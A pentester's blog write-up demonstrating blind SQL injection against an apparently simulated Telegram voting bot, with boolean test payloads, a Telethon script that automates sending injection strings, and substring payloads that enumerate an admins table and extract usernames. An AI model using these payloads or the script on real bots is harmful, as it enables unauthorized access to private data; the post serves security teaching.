Hi everyone, I’m Eiliya Keshtkar, a web and mobile pentester who enjoys digging into systems, breaking them apart, and simulating vulnerabilities to understand how things fail.
Where did it start?
Recently, I became curious about a case where an anonymous Telegram bot had been hacked, exposing messages that were supposed to remain private. When I analyzed the leaked data, the structure felt eerily neat, like database tables. That strongly suggested SQL Injection.
A few days later, I came across another Telegram bot — this one built for simple voting. It looked harmless enough, with buttons like:
Vote for — DuckMen
Vote for — Wolfy
Vote for — Just a random old man
At first glance, nothing unusual. But there was a red flag: all the buttons shared the same structure. That symmetry hinted at something worth testing.
Step 1: Confirming Injection
The first test I reached for was a boolean-based SQLi payload, quick and reliable.
True condition
Vote for - DuckMen" and "1"="1
Response:
You voted for DuckMen! 🎉
You can see the full result: /result
Current votes: 841
False condition
Vote for - DuckMen" and "1"="2
Response: (no output)
That was the confirmation I needed: the bot was vulnerable.
Step 2: Automating with Python + Telethon
Manually fuzzing table names would be painful, so I wrote a Python script using Telethon to automate payload delivery:
from telethon import TelegramClient
import asyncio
api_id = 0000000 # your test API ID
api_hash = 'API_HASH'
bot_username = '@HML_Simulation_BOT'
# Read payloads from local file
with open('payloads.txt', 'r') as f:
payloads = [line.strip() for line in f.readlines()]
async def main():
client = TelegramClient('test_session', api_id, api_hash)
await client.start()
for payload in payloads:
message = f'Vote for - " OR EXISTS(SELECT 1 FROM {payload}) --'
await client.send_message(bot_username, message)
print(f"Sent: {message}")
await client.disconnect()
asyncio.run(main())

This confirmed the presence of an admins table.
Step 3: Finding Column Count
To map its structure, I modified the script to check the number of columns:
for i in range(0,10):
message = f"Vote for - Wolfy\" AND (SELECT count(*) FROM pragma_table_info('admins'))={i} --"
await client.send_message(bot_username, message)
Step 4: Enumerating Column Names
Using pragma_table_info, I extracted column names one character at a time:
Vote for - DuckMen" AND substr((SELECT name FROM pragma_table_info('admins') LIMIT 0,1),1,1)='u' --
Vote for - DuckMen" AND substr((SELECT name FROM pragma_table_info('admins') LIMIT 0,1),2,1)='s' --
By repeating this payload i identified this three columns:
First column → user_id
Second column → username
Third column -> name
Step 5: Extracting Data
Finally, I dumped the admins usernames with substring checks:
Vote for - Wolfy" AND substr((SELECT username FROM admins LIMIT 1,1),1,1)='e' --
Vote for - Wolfy" AND substr((SELECT username FROM admins LIMIT 1,1),2,1)='1' --
Simulation Bot & Source Code
I create a simulate for this bot:





Leave a Reply